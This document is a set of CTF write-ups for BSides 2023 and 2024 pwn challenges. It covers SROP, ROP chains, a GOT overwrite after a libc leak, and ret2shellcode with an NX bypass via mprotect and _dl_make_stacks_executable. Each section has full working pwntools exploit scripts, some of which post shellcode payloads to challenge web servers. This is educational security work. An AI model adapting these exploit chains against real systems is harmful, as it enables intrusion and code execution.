# (writeup) bsides-2023
## SYS_ROP
- check file + checksec

- check ida


> offset 80 + 8(save rbp)


```
main : sub_40101C
write : sub_401014
read : sub_40100C
exit : sub_401000
```
- based on name of the chall, I think about SYSROP at first
- so we use pwntool named SigreturnFrame to setup these registers
- we also have string '/bin/sh' on binary file

```python
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x402010 #/bin/sh tren exe
frame.rsi = 0
frame.rdx = 0
#frame.rsp = 0x00000000402a00 #r_w section
frame.rip = syscall
```
- find some gadget
```python
pop_rax = 0x0000000000401085
syscall = 0x0000000000401011
pop_rbp = 0x0000000000401073
pop_rdi = 0x000000000040107f
pop_rdx = 0x0000000000401083
pop_rsi = 0x0000000000401081
```
- payload:
```python
payload = flat(
b'A'*88,
pop_rax, 0xf,
syscall,
bytes(frame),
)
```

- I think those byte frame we send have too much byte to overwrite

>read 256 byte but we send 360 byte
- so I call **read()** function one more time to overwrite another address which can r_w section
- arg for read is rax = NULL, rdi = NULL, rsi = rw_address, rdx = size
- because checksec PIE is off so we can use static address

>0x00000000402a00

- right now we stuck at here
- have a look on register

> maybe $rbp is weird
- in sigframe, we add gadget $rbp at another address (use the same $rsi and minus 8 because after syscall, if we don't minus 8 it will be pop at the same gadget {pop rax})

- still return at bad address ....
- now add more gadget leave_ret

- noice 🤌

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall',checksec=False)
p = process(exe.path)
#p = process('ncat -v --ssl sys-rop.bsides.shellmates.club 443'.split())
# gdb.attach(p, gdbscript='''
# b*0x401014
# b*0x40101b
# b*0x401049
# b*0x40104e
# c
# ''')
# input()
pop_rax = 0x0000000000401085
syscall = 0x0000000000401011
pop_rbp = 0x0000000000401073
pop_rdi = 0x000000000040107f
pop_rdx = 0x0000000000401083
pop_rsi = 0x0000000000401081
leave_ret = 0x0000000000401070
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x402010 #/bin/sh tren exe
frame.rsi = 0
frame.rdx = 0
#frame.rsp = 0x00000000402a00 #r_w section
frame.rip = syscall
### call sys_read
payload = flat(
b'A'*88,
pop_rax, 0,
pop_rdi, 0,
pop_rsi, 0x00000000402a00,
pop_rdx, 0x500,
syscall,
pop_rbp, 0x00000000402a00-8,
leave_ret,
)
p.sendafter(b'message: ',payload)
#p.send(payload)
#input("press ENTER to continue...")
payload = flat(
pop_rax, 0xf,
syscall,
bytes(frame),
)
p.send(payload)
p.interactive()
```
- method 2: (simplify the problem 🙃)
- have enough gadget ---> ROPchain way
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall',checksec=False)
p = process(exe.path)
#p = process('ncat -v --ssl sys-rop.bsides.shellmates.club 443'.split())
pop_rax = 0x0000000000401085
syscall = 0x0000000000401011
pop_rdi = 0x000000000040107f
pop_rdx = 0x0000000000401083
pop_rsi = 0x0000000000401081
binsh = 0x402010
payload = flat(
b'A'*88,
pop_rdi, binsh,
pop_rsi, 0,
pop_rdx, 0,
pop_rax, 0x3b,
syscall
)
p.send(payload)
p.interactive()
```
---
## Junior Pwner
- check file + checksec

- check ida


- the author give the binary file and libc.so.6, so I pwninit at first
- look at ida, we can see it read in to **buf** variable and after that, it will print 1 of 3 messages randomly by **rand()** function
- let see detail:

- otherwise, this program doesn't have any return or exit, will loop forever by **while(1)**
- so my idea is ow '/bin/sh' and ow **system()** by **puts@GOT**
- which mean when it call **puts()**, we will get shell by execute **puts@PLT** instead of print 1 of 3 messages
- first we need to leak libc
- because **buf** only 64 byte, **read()** 0x48 = 72 byte so we can ow save rbp to change execution flow
- that enough to leak libc
- payload:
```
= (GOT of puts) * 8 times
+= messages_addr + 0x30
```
>at first I want to ow the next addr of messages (+ 0x18) but it can't leak libc (can leak but not always)
- then we ow '/bin/sh' at (messages_addr + 0x40)
```
= ('/bin/sh' in libc) * 8 times
+= messages_addr + 0x40
```
- finally ow **system()** and **puts@GOT** at address have '/bin/sh'
```
= (system in libc) * 8 times
+= (GOT of puts) + 0x40
```

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
ld = ELF('./ld-linux-x86-64.so.2',checksec=False)
p = process(exe.path)
#p = process('ncat -v --ssl junior-pwner.bsides.shellmates.club 443',split())
#p = remote('junior-pwner.bsides.shellmates.club',443,ssl=True)
# gdb.attach(p,gdbscript='''
# b*vuln+49
# b*vuln+54
# b*vuln+72
# b*main+164
# c
# ''')
# input()
messages = 0x4041c0
payload = p64(exe.got['puts'])*8
payload += p64(messages + 0x30)
p.sendafter(b'Name:\n',payload)
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - 528080
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
payload = p64(next(libc.search(b'/bin/sh')))*8
payload += p64(messages + 0x40)
p.sendafter(b'Name:\n',payload)
payload = p64(libc.sym['system'])*8
payload += p64(exe.got['puts'] + 0x40)
p.sendafter(b'Name:\n',payload)
p.interactive()
```
---
# (writeup) bsides-2024
## Can't Give In
- basic file check

- check ida

>**main()**
- website

- source

### analyse
- this challenge is Pwn x Web, which is give us a binary running on a website
- we simply find a bug in **read(v8, data, length)** if **CONTENT_LENGTH** is big enough
>**CONTENT_LENGTH** depend on the size we input
- moreover, the description tell us to RCE ---> ret2shellcode
### debug
- first, to debug on local, we must have **env** (environment) of **CONTENT_LENGTH** to satisfy the function **getenv** by using this command:
```
$ export CONTENT_LENGTH=1000
```
>size equal 1000 to easily overflow
- next, there is no canary so base on ida, I can guess the buffer to padding is 0xa8

> [rbp-A0h] is 0xA0 to touch $rbp, then +0x8 to ow $rbp, the rest into $rip
- so to ret2shellcode, we need to return to the address which have shellcode
- then I see when it return in **main()**, the address of stack is on $rdi and $rax is NULL
- I search for gadget and I found some usefull gadgets here
```py
add_rax_rdi = 0x0000000000424267
call_rax = 0x0000000000401010
pop_rdi = 0x0000000000401d90
```
- my idea is move $rdi into $rax, then pop $rdi an offset that point to address shellcode, then just call $rax
- about sending shellcode to a website, I use Burp Suite to genterate a script for python
- I just edit the data from this
```py
burp0_data = {'password' : payload.decode('latin')}
```
into this
```py
burp0_data = payload.decode('latin')
```
>because I RCE on local sucessful but fail in server
>I guess maybe the return address is wrong due to 'password='
- meanwhile, the payload i will edit like this
```py
payload = b'password='
payload += shellcode
...
```
- that mean, the offset I have to +9 to bypass 9 bytes of 'password='
### get flag

- script
```py
#!/usr/bin/python3
from pwn import *
import requests
context.binary = exe = ELF('./auth.cgi')
# p = process(exe.path)
# gdb.attach(p,gdbscript='''
# b*main+179
# b*main+265
# c
# ''')
# input()
context.arch = 'amd64'
io = b'/home/ctf/flag.txt'
# io = b'flag.txt'
shellcode = shellcraft.open(io)
shellcode += shellcraft.read('rax','rsp',0x80)
shellcode += shellcraft.write(1,'rsp', 0x80)
sc = shellcraft.cat(io)
add_rax_rdi = 0x0000000000424267
call_rax = 0x0000000000401010
pop_rdi = 0x0000000000401d90
payload = b'password='
payload += asm(sc)
payload = payload.ljust(0xa8,b'a')
payload += p64(add_rax_rdi)
payload += p64(pop_rdi) + p64(0x579)
payload += p64(add_rax_rdi)
payload += p64(call_rax)
# print(payload)
# p.send(payload)
# p.interactive()
burp0_url = "http://cant-give-in-4130d4ca.challenges.bsidessf.net:8080/cgi-bin/auth.cgi"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://cant-give-in-4130d4ca.challenges.bsidessf.net:8080", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://cant-give-in-4130d4ca.challenges.bsidessf.net:8080/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = payload.decode('latin')
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(r.text)
#CTF{certified-genuine-instructions}
```
>CTF{certified-genuine-instructions}
## Can't Give In (secure)
- basic file check

### analyse
- in this challenge, similar to above source code but a little different about mechanism security protection
> in this case, NX enable
- a little bit tricky restrict execute on stack, but my idea is still ret2shellcode (still RCE)
- to set stack executable, I use **_dl_make_stacks_executable()**
- before that, we must satisfy some conditions

- first is **__stack_prot** variable, in default it is 0x1000000

- but it in read_only section 🤡

- so I use **mprotect()** to set that area has full permission =)))
- then I move 7 into **__stack_prot** by this gadget

>$rdx has value 7 when call **mprotect()**
> just use pop $rsi for **__stack_prot**
- and for arg1 of **_dl_make_stacks_executable()**, I use **__libc_stack_end** variable
- now the rest is shellcode
> maybe **__libc_stack_end** will have an unpredictable stack address so for the offset I will measure simple, then pad the `nop` asm code
### get flag

- script
```py
#!/usr/bin/python3
from pwn import *
import requests
context.binary = exe = ELF('./auth.cgi')
# p = process(exe.path)
# gdb.attach(p,gdbscript='''
# b*main+179
# b*main+265
# c
# ''')
# input()
context.arch = 'amd64'
io = b'/home/ctf/flag.txt'
# io = b'flag.txt'
sc = shellcraft.cat(io)
add_rax_rdi = 0x0000000000424267
pop_rdi = 0x0000000000401d90
pop_rsi = 0x000000000040f782
pop_rdx_rbx = 0x00000000004696d7
mov_ptr_rsi_rdx = 0x46b482
call_rsp = 0x00000000004127ca
payload = b'password='
payload = payload.ljust(0xa8,b'a')
payload += p64(pop_rdi) + p64(0x4a1000)
payload += p64(pop_rsi) + p64(0x4000)
payload += p64(pop_rdx_rbx) + p64(7)*2
payload += p64(exe.sym.mprotect)
payload += p64(pop_rsi) + p64(exe.sym.__stack_prot)
payload += p64(mov_ptr_rsi_rdx)
payload += p64(pop_rdi) + p64(exe.sym.__libc_stack_end)
payload += p64(exe.sym._dl_make_stacks_executable)
payload += p64(add_rax_rdi)
payload += p64(pop_rdi) + p64(0xcb0)
payload += p64(add_rax_rdi)
payload += p64(call_rsp)
payload += b'\x90'*8*10
payload += asm(sc)
# print(payload)
# p.send(payload)
# p.interactive()
burp0_url = "http://cant-give-in-secure-05060d6d.challenges.bsidessf.net:8080/cgi-bin/auth.cgi"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://cant-give-in-4130d4ca.challenges.bsidessf.net:8080", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://cant-give-in-4130d4ca.challenges.bsidessf.net:8080/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_data = payload.decode('latin')
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(r.text)
#CTF{computational-genius-institute}
```
>CTF{computational-genius-institute}